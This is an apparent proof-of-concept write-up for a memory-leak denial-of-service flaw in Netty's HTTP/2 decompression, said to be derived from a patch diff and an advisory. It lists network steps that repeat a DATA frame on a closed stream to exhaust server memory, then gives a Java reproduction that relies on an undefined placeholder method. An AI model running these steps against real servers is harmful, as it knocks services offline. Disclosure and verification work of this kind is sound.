CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)

// Derived from patch diff (commit bb2ff68 / 5b68c61) and advisory PoC
// Triggers the leak: send a gzip-compressed HTTP/2 DATA frame on a stream
// whose decompressor EmbeddedChannel has already been closed.
//
// Network-level trigger (nghttp2 / h2c client):
//   1. Open an HTTP/2 connection to a Netty server with DelegatingDecompressorFrameListener.
//   2. Send HEADERS frame (stream 1) with 'content-encoding: gzip' — server opens decompressor.
//   3. Send DATA frame with END_STREAM on stream 1 — server closes (cleans up) the decompressor.
//   4. Immediately send another DATA frame on the SAME stream 1 (already-cleaned-up decompressor).
//      The server calls decompress() -> data.retain() [refCnt 1->2] -> writeInbound() -> ClosedChannelException
//      catch block does NOT release -> refCnt stays at 2 after caller releases once -> permanent leak.
//   Repeat step 4 in a loop over the same long-lived connection to drain direct memory.
//
// Java unit-level reproduction (matches advisory PoC, derived from patch diff):

EmbeddedChannel decompressor = new EmbeddedChannel(
    ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP));

// Simulate cleanup() / onStreamRemoved path
decompressor.close();

// Build a minimal valid gzip DATA payload
EmbeddedChannel encoder = new EmbeddedChannel(
    ZlibCodecFactory.newZlibEncoder(ZlibWrapper.GZIP));
ByteBuf plain = Unpooled.copiedBuffer("hello", StandardCharsets.UTF_8);
encoder.writeOutbound(plain);
ByteBuf gzipData = encoder.readOutbound(); // refCnt = 1

// This is the vulnerable call path:
//   decompressor.writeInbound(gzipData.retain());
//     ^-- retain() fires first (refCnt 1->2)
//     ^-- ensureOpen() throws ClosedChannelException
//     ^-- catch block re-throws but never calls gzipData.release()
call_decompress(decompressor, gzipData); // internal method wrapping the above

// Caller releases once as frame reader would:
gzipData.release(); // refCnt goes 2->1, returns false (not freed) -> LEAK
System.out.println("refCnt after caller release: " + gzipData.refCnt()); // prints 1, not 0